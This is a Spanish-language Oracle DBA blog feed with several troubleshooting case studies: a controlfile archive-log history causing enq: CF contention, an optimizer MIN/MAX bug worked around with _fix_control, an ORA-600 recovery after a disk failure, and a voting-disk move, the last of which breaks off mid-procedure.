Snapshot Too Old

Rolling Out-of-Place patching para Oracle Grid Infrastructure 12c y 11gR2: clonación en esteroides

noreply@blogger.com (Enrique Orbegozo) — Wed, 27 Aug 2014 00:13:00 +0000

Mi artículo más reciente para ToadWorld, dentro de una serie dedicada a aplicar patches con mínima suspensión del servicio. Ahora detallando cómo aplicar patches a Grid Infrastructure usando un Golden Image.

Rolling Out-of-Place patching para Oracle Grid Infrastructure 12c y 11gR2

noreply@blogger.com (Enrique Orbegozo) — Thu, 31 Jul 2014 02:54:00 +0000

Mi artículo más reciente para ToadWorld, dentro de una serie dedicada a aplicar patches con mínima suspensión del servicio.

De cómo un clon nos puede ayudar con un patch (updated to 12c)

noreply@blogger.com (Enrique Orbegozo) — Fri, 11 Jul 2014 22:32:00 +0000

Cada vez que vamos a aplicar un patch o un patch set update (PSU), el procedimiento tradicional implica detener todos los procesos que se estén ejecutando en el Oracle home directory involucrado, lo cual obliga a que dejemos de prestar servicio para iniciar el patching, proceso que si bien es relativamente fácil y sencillo, está sujeto a eventuales fallas que, de ocurrir, pueden llevar a una situación de crisis en la cual el DBA debe identificar el problema y tratar de resolverlo, u optar por dar marcha atrás. En este artículo que he publicado en Oracle Technology Network les explico cómo hacerlo. ¡Que disfruten la lectura!

¿Archive log perdido? No reconstruya su Standby (al estilo 12c)

noreply@blogger.com (Enrique Orbegozo) — Fri, 27 Jun 2014 21:23:00 +0000

Se ha escrito hasta la saciedad (incluso yo) sobre cómo re-sincronizar una base de datos Standby en aquellos casos en los cuales la sincronización se suspendió y al tratar de reiniciarla nos topamos con que al menos un archivelog requerido ya no está disponible. En este artículo que he publicado en Toad World les explico lo simple que resulta resolver este problema cuando están usando Oracle Server 12c. ¡Que disfruten la lectura!

Troubleshoot: perdiendo el control

noreply@blogger.com (Enrique Orbegozo) — Wed, 11 Jun 2014 06:16:00 +0000

Me encontraba sumergido en un proyecto de diseño e implementación de un Oracle RAC 11gR2, en las instalaciones de uno de mis clientes regulares, cuando fui interrumpido por el jefe del proyecto. Me empezó a comentar sobre sobre un problema de desempeño que venían experimentando con la base de datos principal, que aún se encontraba en Oracle RAC 10gR2, y que como parte del proyecto sería actualizada a 11gR2. Habían ya identificado que el evento principal era buffer busy waits y me pidieron darle una mirada para ver que se podía hacer para resolverlo. La tarea parecía simple, era solo cuestión de identificar el objeto problemático, pero como ya es habitual se trataba solo de la punta del iceberg. ¿Quieres saber qué paso?, pues acompáñenme en esta interesante historia, sacada de la vida real.

First round

Según lo indicaban los reportes de AWR el escenario inicial era el siguiente:

Top 5 Timed Events                                         Avg %Total
~~~~~~~~~~~~~~~~~~                                        wait   Call
Event                                 Waits    Time (s)   (ms)   Time Wait Class
------------------------------ ------------ ----------- ------ ------ ----------
buffer busy waits                   116,522     113,002    970   43.1 Concurrenc
log file switch completion           61,227      59,589    973   22.7 Configurat
log file sync                        26,675      18,098    678    6.9     Commit
db file sequential read           2,167,894      17,680      8    6.7   User I/O
enq: CF - contention                 28,209      13,492    478    5.1      Other

. . .

Segments by Buffer Busy Waits
           Tablespace                      Subobject  Obj.          Busy    % of
Owner         Name    Object Name            Name     Type         Waits Capture
---------- ---------- -------------------- ---------- ----- ------------ -------
SYSTEM     TBS_OTROS  DB_AUDIT_LOGON                  TABLE       98,134   85.30
USU_MONI   TOOLS      TEST_MONITOR_DB                 TABLE        7,843    6.82
USU_SIC    TBS_OTROS  REGSERVPROVSIC                  TABLE        4,048    3.52
USU_ACP    TBS_OTROS  USUARIO_DB                      TABLE        3,149    2.74
USU_SIC    TBS_OTROS  REGSERVSIC                      TABLE          863     .75

A todas luces el segmento problemático era la tabla db_audit_logon. Ocurría que al momento de establecerse una conexión con la base de datos se ingresaba una fila en dicha tabla, pero parte de la lógica incluía una búsqueda de filas dentro de la misma tabla, búsqueda que se hacía por un criterio para el cual no existía índice alguno. Esto hacía que se realizara un full table scan sobre dicha tabla, la cual iba demorando más y más con el tiempo, por el normal crecimiento en el número de filas, al punto que se había tornado insoportable para el usuario final.

Como medida inmediata recomendé la creación de un nuevo índice, que luego de implementado permitió eliminar el problema, o al menos eso pensaba yo, ya que retomé las tareas propias del proyecto principal en el que estaba envuelto al momento de recibir esta consulta.

Myth buster

Aconteció que luego de resuelto el evento buffer busy waits, el equipo de DBAs empezó a atacar los siguientes eventos en la lista: log file switch completion y log file sync. Como dio la casualidad de que estaban trasladando los disk groups a un nuevo storage server, y alentados por la recomendación expresa del proveedor del mismo, optaron por trasladar los online redo logs a un disk group exclusivo para ellos, sobre discos SSD. Como resultado inmediato el evento log file sync desapareció y el evento log file switch completion disminuyó a la tercera parte.

Con tan buenos resultados obtenidos, o así creían, me consultaron si no era una excelente idea incluir en mi diseño del nuevo Oracle RAC 11gR2 un disk group exclusivo para los online redo logs y desde luego con discos SSD. Vi sus rostros de alegría transformarse en rostros de asombro cuando les respondí negativamente: los discos SSD no son eficientes para grabación, por el contrario: tienden a volverse cada vez más lentos cuando son sujetos a una alta tasa de grabación, que es como justamente se comportan los online redo logs. El que observaran una mejora en los tiempos no tenía relación con los discos SSD, tenía relación con el hecho de que ahora los online redo logs residían en discos exclusivos, con capacidad de consumir todo el I/O disponible, y ya no como antes, cuando lo compartían con otros 4TB de datos sujetos a lectura y escritura intensivas. En otras palabras: podrían lograr el mismo efecto, e incluso uno mejor, si hubiesen empleado discos tradicionales, lo cual de paso tiene la ventaja adicional de representar un desembolso menor, ya que son muchos más baratos que su contraparte SSD.

La fe mueve... ¿eventos de espera?

A pesar de la explicación dada, y ya que habían tenido mejoras moviendo los online redo logs a discos SSD, continuaron con el siguiente paso en sus planes: mover también el controlfile, con la esperanza de deshacerse del evento enq: CF - contention. Lamentablemente para ellos el efecto fue prácticamente nulo, así que optaron por abrir un Service Request con Oracle Support. El primer error fue abrirlo en español, las idas y venidas con las traducciones hicieron que el avance fuera muy lento, y como es usual en el soporte de primer nivel, finalmente lo primero que les solicitaron fue que actualizaran la versión de Oracle Server, ya que evidentemente 10gR2 ya no cuenta con soporte premiere actualmente. El Ingeniero a cargo del caso no pensaban escalar el pedido de atención mientras no lo hicieran, así que a mi cliente no le quedó más alternativa que solicitarme que nuevamente dejara en pausa el proyecto inicial y me encargara de este problema con carácter de urgente y prioritario, ya que la operatividad estaba seriamente comprometida, y así las cosas acepté el reto.

Second round

Tomemos en cuenta que el nuevo escenario era el siguiente:

Top 5 Timed Events                                         Avg %Total
~~~~~~~~~~~~~~~~~~                                        wait   Call
Event                                 Waits    Time (s)   (ms)   Time Wait Class
------------------------------ ------------ ----------- ------ ------ ----------
CPU time                                         61,576          42.5
enq: CF - contention                 45,676      19,029    417   13.1 Other
log file switch completion           17,882      17,077    955   11.8 Configurat
control file sequential read     18,658,312      16,081      1   11.1 System I/O
db file sequential read           5,490,434       9,251      2    6.4 User I/O

Este evento de espera era nuevo para mí, y lo disponible en My Oracle Support no apuntaba a solución alguna, por lo que empecé por abrir un nuevo Service Request, pero esta vez en inglés, y dejando en claro por anticipado que la situación era extremadamente crítica y que no había tiempo para upgrades. Esta vez lo primero que pidieron fue verificar con el equipo de storage para comprobar que no hubiese un problema a esos niveles, considerando que la base de datos había sido movida a un nuevo storage array. Desde luego por allí no iba el problema, ya que incluso se estaban usando discos SSD, así que pasaron a lo siguiente: revisar que no se generaran demasiados log switches. Cuando les mostramos que solo ocurrían entre 2 a 6 por hora, también fue descartado, y apuntaron a otra posible causa: encontraron unos mensajes de error en el alert.log y sospecharon de un problema con la conectividad con el servidor que opera con physical standby, y pidieron investigarlo con el equipo de redes.

Fri Jun 8 06:00:37 2014
Errors in file /u01/admin/db/bdump/db_lns1_2195896.trc:
ORA-03135: connection lost contact
Fri Jun 8 06:00:37 2014
LGWR: I/O error 3135 archiving log 321 to 'dbcntg'
Fri Jun 8 06:03:56 2014
ARC1: Attempting destination LOG_ARCHIVE_DEST_2 network reconnect (3113)
ARC1: Destination LOG_ARCHIVE_DEST_2 network reconnect abandoned
PING[ARC1]: Error 3113 when pinging standby eppscntg.
Fri Jun 8 06:40:30 2014
Errors in file /u01/admin/db/bdump/db_arc1_745792.trc:
ORA-16146: standby destination control file enqueue unavailable
Fri Jun 8 06:40:30 2014
Master background archival failure: 16146

Se les explicó que todos los días a las 6am se suspendía el servicio de la base de datos en standby para aplicar los archived redo logs acumulados durante el día, por lo cual la base de datos primaria perdía la conexión, y no era por tanto un problema de conectividad. Nuevamente a esperar.

Gotcha!

Ya llevábamos algunos días con el problema sin resolver, y empezaban a correr rumores de que los usuarios se disponían a tomar por asalto el centro de cómputo (), cuando Oracle Support nos indica que leamos el Note 753893.1 Degraded performance on standby due to waits on controlfile enqueue (no se molesten en buscarlo, es un documento interno, no disponible para el público en general). En este documento se señala que ante una gran cantidad de archived redo logs registrados en el controlfile, puede presentarse el evento enq: CF – Contention, y que la idea era no tener más de mil registros en uso. Con esta nueva información hicimos la investigación del caso:

SQL> SELECT type, records_total, records_used 
       FROM v$controlfile_record_section 
      WHERE type='ARCHIVED LOG';

TYPE                         RECORDS_TOTAL RECORDS_USED
---------------------------- ------------- ------------
ARCHIVED LOG                        116912        84612

¡Bingo! Casi 85 mil archived redo logs registrados. ¿Cómo llegaron allí teniendo en cuenta que el parámetro control_file_record_keep_time tenía el valor 1 (1 día)? Buena pregunta, confieso que no tengo la respuesta, no era el objetivo en ese momento investigarlo, los usuarios estaban al borde del colapso, así que simplemente nos enfocamos en implementar la solución:

SQL> exec dbms_backup_restore.resetcfilesection(11);

RMAN> catalog start with '+FRA/db/archivelog';

SQL> SELECT type, records_total, records_used 
       FROM v$controlfile_record_section 
      WHERE type='ARCHIVED LOG';

TYPE                         RECORDS_TOTAL RECORDS_USED
---------------------------- ------------- ------------
ARCHIVED LOG                        116912          336

El efecto fue inmediato: los eventos desaparecieron por completo, tanto los relacionados con el controlfile como los relacionados con los online redo logs, y la situación volvió a la normalidad.

Top 5 Timed Events                                         Avg %Total
~~~~~~~~~~~~~~~~~~                                        wait   Call
Event                                 Waits    Time (s)   (ms)   Time Wait Class
------------------------------ ------------ ----------- ------ ------ ----------
CPU time                                         32,205          51.0
db file sequential read           5,966,390      11,183      2   17.7 User I/O
SQL*Net break/reset to client         2,597       4,250   1637    6.7 Applicatio 
gc cr grant 2-way                 2,705,303       2,222      1    3.5 Cluster
gc current block 2-way              957,231       1,812      2    2.9 Cluster

Knockout

Desde luego el caso no estaba cerrado, ahora había tiempo para cerciorarse de que esta situación no se volviera a presentar, y por ello era necesario modificar el parámetro MAXLOGHISTORY, mismo que controla qué tan grande puede ser el historial de archived redo logs en el controlfile. Para ello empezamos por obtener un script que nos permitiera reconstruirlo con un valor adecuado:

alter database backup controlfile to trace;

CREATE CONTROLFILE REUSE DATABASE "DB" NORESETLOGS FORCE LOGGING ARCHIVELOG
    MAXLOGFILES 51
    MAXLOGMEMBERS 3
    MAXDATAFILES 200
    MAXINSTANCES 8
    MAXLOGHISTORY 29200
LOGFILE
  GROUP 11 '+DG1/db/onlinelog/group_11.439.755028947' 
           SIZE 800M BLOCKSIZE 512,
  GROUP 12 '+DG1/db/onlinelog/group_12.1143.755028957'
           SIZE 800M BLOCKSIZE 512,
  GROUP 13 '+DG1/db/onlinelog/group_13.1170.755028963' 
           SIZE 800M BLOCKSIZE 512,
. . .

Modificamos el valor 29200 por 5000, y en la fecha ya programada para tal fin detuvimos la base de datos, ejecutamos el script de reconstrucción del controlfile y reiniciamos los servicios. Como existía también un physical standby tuvimos que crear y transferir un nuevo standby controlfile, con lo que finalmente pudimos decir con toda confianza: ¡caso cerrado!

Posts Relacionados:

Troubleshoot: optimizador confundido

noreply@blogger.com (Enrique Orbegozo) — Sun, 18 May 2014 01:26:00 +0000

Unos días atrás me reportaron un problema de mal desempeño de una aplicación bancaria. Resulta que si bien el número de transacciones no era alto, el valor monetario si lo era, por lo que era prioritario que se completase casi instantáneamente. Con el pasar del tiempo estas transacciones iban demorando más y más, al punto de que eventualmente alguna de ellas era dada por fallida y debía ser reiniciada, poniendo nerviosos a todos los involucrados en el negocio, y es en este escenario que deciden acudir a mi asesoría.

El primer problema que encontré es que la aplicación no estaba instrumentada y por tanto su código se confunde con el de otras aplicaciones que también se ejecutan en esa instancia. Afortunadamente, de entre todo el universo de SQLs, el DBA había ya identificado un par de sentencias, y que coincidentemente figuraban en los reportes AWR como las principales responsables de buffer gets, por lo que de inmediato procedí a analizarlas.

select nvl(max(event_seq_no), 0) 
  from cstbs_contract_change_log 
 where contract_ref_no = :b1
---------------------------------------------------------------------
| Id  | Operation                   | Name                          |
---------------------------------------------------------------------
|   0 | SELECT STATEMENT            |                               |
|   1 |  SORT AGGREGATE             |                               |
|   2 |   FIRST ROW                 |                               |
|   3 |    INDEX FULL SCAN (MIN/MAX)| PK01_CSTB_CONTRACT_CHANGE_LOG |
---------------------------------------------------------------------

select nvl(max(event_seq_no), 0) 
  from istbs_contractis 
 where contract_ref_no = :b1
------------------------------------------------------------
| Id  | Operation                   | Name                 |
------------------------------------------------------------
|   0 | SELECT STATEMENT            |                      |
|   1 |  SORT AGGREGATE             |                      |
|   2 |   FIRST ROW                 |                      |
|   3 |    INDEX FULL SCAN (MIN/MAX)| PK01_ISTB_CONTRACTIS |
------------------------------------------------------------

Se comprobó que para ambas tablas existían índices por la columna contract_ref_no, que eran desde luego mucho más adecuados que los de clave primaria, pero por alguna razón el Optimizador no los estaba tomando en cuenta, por lo que como medida inicial se procedió a generar nuevas estadísticas, con la esperanza de que eso fuese suficiente para que el Optimizador tomara la decisión correcta.

exec dbms_stats.gather_table_stats( 
   ownname => 'FCCPRD', 
   tabname => 'CSTB_CONTRACT_CHANGE_LOG'
   cascade => TRUE, 
   estimate_percent => 100, 
   method_opt => 'FOR ALL INDEXED COLUMNS SIZE AUTO' );

exec dbms_stats.gather_table_stats( 
   ownname => 'FCCPRD', 
   tabname => 'ISTB_CONTRACTIS'
   cascade => TRUE, 
   estimate_percent => 100, 
   method_opt => 'FOR ALL INDEXED COLUMNS SIZE AUTO' );

Sin embargo los planes de ejecución permanecieron intactos, por lo que como segunda medida, y considerando que se trataba de Oracle Server 10.2.0.4, se procedió a asignar SQL Profiles. Para la primera sentencia se logró obtenerlo mediante el uso de SQL Advisor, pero para la segunda sentencia no fue posible, siendo necesario recurrir al procedimiento señalado en el Note 1400903.1 How to use hints to customize SQL Profile or SQL PLAN Baseline. Luego de esto se obtuvieron finalmente los planes eficientes para ambas sentencias SQL.

----------------------------------------------------------------------
| Id  | Operation                    | Name                          |
----------------------------------------------------------------------
|   0 | SELECT STATEMENT             |                               |
|   1 |  SORT AGGREGATE              |                               |
|   2 |   TABLE ACCESS BY INDEX ROWID| CSTB_CONTRACT_CHANGE_LOG      |
|*  3 |    INDEX RANGE SCAN          | IX03_CSTB_CONTRACT_CHANGE_LOG |
----------------------------------------------------------------------

--------------------------------------------------------------
| Id  | Operation                    | Name                  |
--------------------------------------------------------------
|   0 | SELECT STATEMENT             |                       |
|   1 |  SORT AGGREGATE              |                       |
|   2 |   TABLE ACCESS BY INDEX ROWID| ISTB_CONTRACTIS       |
|*  3 |    INDEX RANGE SCAN          | IX03_ ISTB_CONTRACTIS |
--------------------------------------------------------------

Con esto los tiempos de ejecución se redujeron notablemente, de un valor inicial promedio de 34.2" a solo 8.7", pero aun así quedaba la percepción de que la transacción podía ser más rápida aun, por lo que era inevitable instrumentar la aplicación y así poder identificar con precisión las sentencias SQL adicionales que pudiesen ser afinadas. Para ello se incorporaron las siguientes líneas de código en la rutina problemática:

create or replace PACKAGE BODY pks_msg_router AS
. . .
  PROCEDURE p_process_req_msg  (is_req_clob    IN   VARCHAR2
  . . .
  BEGIN
    -- Inicio de la instrumentación
    dbms_application_info.set_module(
      module_name => 'msg_router',
      action_name => 'process_req_msg');
    . . .
    
    . . . 
    -- Fin de la instrumentación
    dbms_application_info.set_module(
      module_name => NULL,
      action_name => NULL);
  END p_process_req_msg;
. . .

Luego de ser implementado el cambio se pudieron identificar más sentencias SQL ineficientes, como por ejemplo:

select nvl(max(event_seq_no),0) from cstbs_contract_event_log 
where contract_ref_no = :b1
--------------------------------------------------------------------
| Id  | Operation                   | Name                         |
--------------------------------------------------------------------
|   0 | SELECT STATEMENT            |                              |
|   1 |  SORT AGGREGATE             |                              |
|   2 |   FIRST ROW                 |                              |
|   3 |    INDEX FULL SCAN (MIN/MAX)| PK01_CSTB_CONTRACT_EVENT_LOG |
--------------------------------------------------------------------

select nvl(max(change_seq_no),0) from cstbs_contract_change_log 
where contract_ref_no = :b2 and event_seq_no = :b1
----------------------------------------------------------------------
| Id  | Operation                    | Name                          |
----------------------------------------------------------------------
|   0 | SELECT STATEMENT             |                               |
|   1 |  SORT AGGREGATE              |                               |
|   2 |   FIRST ROW                  |                               |
|   3 |    INDEX RANGE SCAN (MIN/MAX)| PK01_CSTB_CONTRACT_CHANGE_LOG |
----------------------------------------------------------------------

Lo extendido del problema termina por confirmar que no se trata de una situación normal, sino que se trataría de la incidencia de un bug a nivel del Optimizador, siendo el común denominador a todas estas sentencias el que incluyen el operador MIN y/o MAX, y es justamente este criterio el que empleamos para hacer una búsqueda en My Oracle Support, encontrando lo siguiente:

Bug 8467123 : POOR PERFORMANCE OF QUERY WITH INDEX FULL SCAN (MIN/MAX)
Bug 11834402 : CBO CHOOSES A SLOW INDEX FULL SCAN (MIN/MAX) OVER A MUCH FASTER INDEX RANGE SCAN
Bug 9140303 : OPTIMIZER CHOOSE WRONG INDEX FOR MIN/MAX SQL
Bug 8323407  "INDEX RANGE SCAN (MIN/MAX)" Cost change

Al parecer Oracle introdujo en Oracle Server 10.2.0.4 un fix para el bug 5611962 CBO does not use index full scan (MIN/MAX) with part. range iterator, pero este fix terminó generando un nuevo bug. ¿La solución? Hacer upgrade a 10.2.0.5 o superior, pero no era viable en este escenario ya que tomaría algo de tiempo en implementar. Afortunadamente existe un workaround: ¡deshabilitar el fix!

SQL> alter system set "_fix_control" = "5611962:OFF";

Luego de realizar pruebas preliminares se concluye que el workaround es efectivo, programándose su aplicación a nivel de toda la instancia. Luego de ello se vuelve a analizar el universo de sentencias SQL de la transacción problemática, encontrándose que las sentencias previamente identificadas se ejecutan ahora eficientemente, con nuevos planes de ejecución.

(1) Situación original                              34.2"
(2) Luego de aplicar SQL Profile (2 SQLs)            8.7"
(3) Luego de deshabilitar fix del BUG 5611962        0.8"

Con estos resultados se dio por concluido el afinamiento de la aplicación, obteniendo una disminución del tiempo de ejecución en nada menos que un ¡98%! A la fecha la aplicación opera normalmente y los usuarios están contentos con el tiempo de respuesta, por lo que se considera un caso más resuelto satisfactoriamente.

Espero que se hayan entretenido con la resolución de este caso de la vida real. ¡Será hasta la próxima amigos!

Posts Relacionados:

Troubleshoot: ora-600[kcrf_resilver_log_1] & ora-600[4193]

noreply@blogger.com (Enrique Orbegozo) — Wed, 23 Apr 2014 22:10:00 +0000

El sábado último recibí una llamada mientras manejaba, estacioné y atendí la llamada, se trataba de un buen amigo y cliente que tenía un problema con una de sus bases de datos. Ocurrió que como parte de un mantenimiento al servidor en el cual operaba, uno de los discos había presentado errores para ser reconocido. Eventualmente dieron con la causa del problema y lo resolvieron, el disco era nuevamente reconocido pero la base de datos no llegaba a abrir, les aparecía un error ORA-600 que no sabían cómo tratar y por tanto requerían de mi ayuda.

Ese día era uno particularmente recargado, estaba ayudando en los preparativos para celebrar el cumpleaños de mi pequeña Lucía, pero aparentemente no tomaría mucho tiempo atender esta urgencia, por lo que acordamos que haría unos minutos para al menos ver qué se podía hacer para resolver el problema. Mi amigo me proporcionó todos los datos necesarios para poder conectarme remotamente a su servidor, y pocos minutos después me encontraba revisando el archivo alert.log, encontrando lo siguiente:

Sat Apr 19 13:46:34 2014 
ALTER DATABASE OPEN
Beginning crash recovery of 1 threads
 parallel recovery started with 3 processes
Started redo scan
Errors in file d:\app\oracle\diag\rdbms\cts\cts\trace\cts_ora_3696.trc  (incident=85364):
ORA-00600: código de error interno, argumentos: [kcrf_resilver_log_1], [0x7FF62C56708], [2], [], [], [], [], [], [], [], [], []
Incident details in: d:\app\oracle\diag\rdbms\cts\cts\incident\incdir_85364\cts_ora_3696_i85364.trc
Aborting crash recovery due to error 600
Errors in file d:\app\oracle\diag\rdbms\cts\cts\trace\cts_ora_3696.trc:
ORA-00600: código de error interno, argumentos: [kcrf_resilver_log_1], [0x7FF62C56708], [2], [], [], [], [], [], [], [], [], []
Errors in file d:\app\oracle\diag\rdbms\cts\cts\trace\cts_ora_3696.trc:
ORA-00600: código de error interno, argumentos: [kcrf_resilver_log_1], [0x7FF62C56708], [2], [], [], [], [], [], [], [], [], []
ORA-600 signalled during: ALTER DATABASE OPEN...

Revisando en My Oracle Support (MOS) encontré el Note 1227666.1 ORA-00600 [kcrf_resilver_log_1] on restart after system crash, que señala como causa de este error: "There has been a lost write to the online redolog as a result of the crash. Instance recovery is not possible.", e indica que la solución es: "Restore the database and do point in time recovery to the most recent archivelog."

Son malas noticias, Oracle Support nos dice que hubo un error al grabar en los online redologs, no es posible hacer una recuperación automática de la instancia y en consecuencia hay que hacer un restore y luego un recover. Como quizás algunos ya sospechan, este problema no iba a ser tan fácil de resolver: esta base de datos no estaba en modo archive log, y no había backup físico al cual recurrir, las posibilidades de resolver el problema se redujeron drásticamente, pero el reto estaba dado y había que seguir intentando.

Como primer paso se realizó una copia física de todos los datafiles, online redologs y controlfiles, para posteriormente intentar hacer un recover:

SQL> recover database using backup controlfile until cancel;
ORA-00279: change 99446132 generated at 19/04/2014 10:00:45 needed for thread 1
ORA-00289: suggestion : D:\APP\ORACLE\FLASH_RECOVERY_AREA\CTS\ARCHIVELOG\2014_04_19\O1_MF_1_1157_%U_.ARC
ORA-00280: change 99446132 for thread 1 is in sequence #1157

Specify log: {=suggested | filename | AUTO | CANCEL}

Obviamente el archivelog sugerido no existía, pero para nuestra suerte la secuencia 1157 correspondía a un redolog que no tenia daño alguno:

SQL> select group#, sequence# from v$log;

    GROUP#  SEQUENCE# 
---------- ---------- 
         1       1156 
         2       1157 
         3       1155

Por lo que se procedió a alimentar ese online redolog al comando recover:

Specify log: {=suggested | filename | AUTO | CANCEL}
'D:\APP\ORACLE\ORADATA\CTS\REDO02.LOG'

Log applied.
Media recovery complete.

El mensaje "Media recovery complete" nos devolvió el alma al cuerpo, al parecer el problema estaba resuelto, pero faltaba el paso final, abrir la base de datos:

alter database open resetlogs;

Pero en lugar de que la base de datos fuese abierta normalmente, nos topamos con un nuevo ORA-600, tal como se ve en este extracto del alert.log:

Sat Apr 19 15:16:01 2014
alter database open resetlogs
RESETLOGS after complete recovery through change 99446132
Resetting resetlogs activation ID 4065219144 (0xf24e5248)
Sat Apr 19 15:16:03 2014
Setting recovery target incarnation to 3
Sat Apr 19 15:16:03 2014
Assigning activation ID 4085838382 (0xf388f22e)
Thread 1 opened at log sequence 1
  Current log# 1 seq# 1 mem# 0: D:\APP\ORACLE\ORADATA\CTS\REDO01.LOG
Successful open of redo thread 1
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
Sat Apr 19 15:16:04 2014
SMON: enabling cache recovery
Successfully onlined Undo Tablespace 2.
Dictionary check beginning
Dictionary check complete
Verifying file header compatibility for 11g tablespace encryption..
Verifying 11g file header compatibility for tablespace encryption completed
SMON: enabling tx recovery
Database Characterset is WE8MSWIN1252
Errors in file d:\app\oracle\diag\rdbms\cts\cts\trace\cts_smon_4640.trc  (incident=87710):
ORA-00600: internal error code, arguments: [4193], [], [], [], [], [], [], [], [], [], [], []
Incident details in: d:\app\oracle\diag\rdbms\cts\cts\incident\incdir_87710\cts_smon_4640_i87710.trc
No Resource Manager plan active
Exception [type: ACCESS_VIOLATION, UNABLE_TO_READ] [ADDR:0x19698E97] [PC:0x9257D88, kgegpa()+38]
Dump file d:\app\oracle\diag\rdbms\cts\cts\trace\alert_cts.log

Luego de buscar en MOS, se encontró el Note 452662.1 Ora-600 [4193] When Opening Or Shutting Down A Database, que señala como causa: "..some kind of block corruption in either the redo or the undo block". El documento en cuestión analiza extensivamente los diversos escenarios posibles pero para este caso en particular solo se aplicó la solución para cuando la base de datos no logra ser abierta, y que consiste en desactivar la gestión automática del undo> y tratar de abrir la base de datos, si logra abrir entonces la corrupción no llegó a afectar al redo sino que se limitó a los segmentos de undo. Ese sería el escenario ideal, así que cruzamos los dedos y ejecutamos:

SQL> alter system set undo_management='MANUAL' scope=SPFILE sid='*';
System altered.

SQL> shutdown immediate
ORACLE instance shut down.

SQL> startup
ORACLE instance started.

Total System Global Area  167772160 bytes
Fixed Size                   787968 bytes
Variable Size              61864448 bytes
Database Buffers          104857600 bytes
Redo Buffers                 262144 bytes
Database mounted.
Database opened.

¡Fenomenal! Para nuestro alivio la base de datos abrió normalmente, lo cual fue comprobado con los mensajes en el archivo alert.log:

Sat Apr 19 15:28:08 2014
alter database open
Beginning crash recovery of 1 threads
 parallel recovery started with 3 processes
Started redo scan
Completed redo scan
 read 31 KB redo, 13 data blocks need recovery
Started redo application at
 Thread 1: logseq 1, block 3
Recovery of Online Redo Log: Thread 1 Group 1 Seq 1 Reading mem 0
  Mem# 0: D:\APP\ORACLE\ORADATA\CTS\REDO01.LOG
Completed redo application of 0.02MB
Completed crash recovery at
 Thread 1: logseq 1, block 66, scn 99466367
 13 data blocks read, 13 data blocks written, 31 redo k-bytes read
Sat Apr 19 15:28:09 2014
Thread 1 advanced to log sequence 2 (thread open)
Thread 1 opened at log sequence 2
  Current log# 2 seq# 2 mem# 0: D:\APP\ORACLE\ORADATA\CTS\REDO02.LOG
Successful open of redo thread 1
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set

La Nota indica también que ya que la base de datos logra abrir, se debe considerar que todas las transacciones han sido grabadas, y por tanto nos podemos deshacer del tablespace de undo que contiene los undo segments dañados y crear un nuevo tablespace que lo reemplace, por lo que continuamos con lo siguiente:

SQL> create undo tablespace UNDOTBS2 datafile
    'D:\APP\ORACLE\ORADATA\CTS\UNDOTBS02.DBF'
     size 100M reuse autoextend on;
Tablespace created.

SQL> alter system set undo_tablespace='UNDOTBS2' scope=SPFILE sid='*';
System altered.

SQL> alter system set undo_management='AUTO' scope=SPFILE sid='*';
System altered.

SQL> shutdown immediate
ORACLE instance shut down.

SQL> startup
ORACLE instance started.

Total System Global Area  167772160 bytes
Fixed Size                   787968 bytes
Variable Size              61864448 bytes
Database Buffers          104857600 bytes
Redo Buffers                 262144 bytes
Database mounted.
Database opened.

SQL> alter tablespace undotbs1 offline normal;
Tablespace altered.

SQL> drop tablespace UNDOTBS1 including contents and datafiles;
Tablespace dropped.

Concluidos estos últimos pasos, por fin pudimos dar el problema por resuelto, todos felices. Lo que parecía inicialmente un problema que tomaría unos pocos minutos en resolver terminó tomando casi una hora, pero fue una excelente oportunidad para aprender y sentir nuevamente la emoción y satisfacción de poder resolver problemas, que es la principal razón por la que me dedico a este negocio en primer lugar. Será hasta la próxima amigos!!!

Posts Relacionados:

¿Cómo mover ocr y vdisk a nuevo disk array?

noreply@blogger.com (Enrique Orbegozo) — Sat, 27 Oct 2012 03:17:00 +0000

No hace mucho, uno de mis clientes inició el proceso de migración de su disk storage system, desde EMC CX4 hacia EMC VNX. Ellos tienen sus bases de datos operando con Oracle RAC 11.2.0.3, por lo que siguieron el procedimiento de agregar LUNs del nuevo EMC VNX en los diskgroups de datos, para luego retirar los LUNs del antiguo EMC CX4, aprovechando el rebalanceo automático que hace ASM al agregarle y removerle discos. Hasta aquí todo bien, pero quedaba el trabajo sobre el diskgroup que contiene el ocr, voting disks y spfile de ASM, llamado en este caso OCR, para el cual el procedimiento no es tan simple como agregar y retirar discos. A continuación les mostraré en detalle el procedimiento que seguí para concluir con este último paso en la migración de disk storage system para este diskgroup, cumpliendo el requerimiento expreso del cliente: no suspender el servicio.

Empezaré por mostrarles el escenario sobre el cual se trabajó:

El diskgroup OCR fue creado con redundancia normal, por lo cual es requisito obligatorio emplear 3 discos. El objetivo es que sus contenidos sean ahora trasladados a 3 discos en el nuevo disk array, pero no se puede hacer directamente como en el caso de un diskgroup de datos, básicamente debido a los voting disk.

El ocr y el spfile de ASM son archivos que se distribuyen entre los discos que constituyen el diskgroup sobre el cual residen, pero Oracle crea un voting disk idéntico en cada disco del diskgroup. Así, al agregar mas discos al diskgroup, el ocr y el spfile son candidatos a ser redistribuidos entre todos los discos, pero los voting disk no, se quedan en sus discos originales, por lo que requieren de un tratamiento especial.

El Note 428681.1, OCR / Vote disk Maintenance Operations: (ADD/REMOVE/REPLACE/MOVE), tiene el detalle de lo que sebe hacer en diversos escenarios, de cuya lectura queda claro que no es posible agregar mas voting disks, sino solamente moverlos a otro diskgroup. Por esta razón se solicitó la creación de 3 nuevos LUNs, sobre los cuales se crearía el diskgroup que albergaría temporalmente a los voting disk, de forma que quedara algo así:

Luego que los LUNs estuvieron provisionados y debidamente asignados a todos los nodos del RAC, se procedió a la creación del diskgroup VDISK, mediante el utilitario ASMCA.

Con esto ya estamos listos para el paso inicial: el movimiento de voting disks.

[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   1e56372cc94a4f92bfd9952beef36a5b (/dev/rhdiskpower3) [OCR]
 2. ONLINE   570dd695f7ea4f08bf86d92adc2a2343 (/dev/rhdiskpower1) [OCR]
 3. ONLINE   027f719d79914f72bfc1fdfb3098209b (/dev/rhdiskpower2) [OCR]
Located 3 voting disk(s).

[oracle@rac1]$ crsctl replace votedisk +VDISK
Successful addition of voting disk 42cd3a1355714febbf8b8be58da5d277.
Successful addition of voting disk 95b0b904a7844f6bbf35881a7fd545f6.
Successful addition of voting disk 189d6f4cba754fc6bf1d8f94fd70fe89.
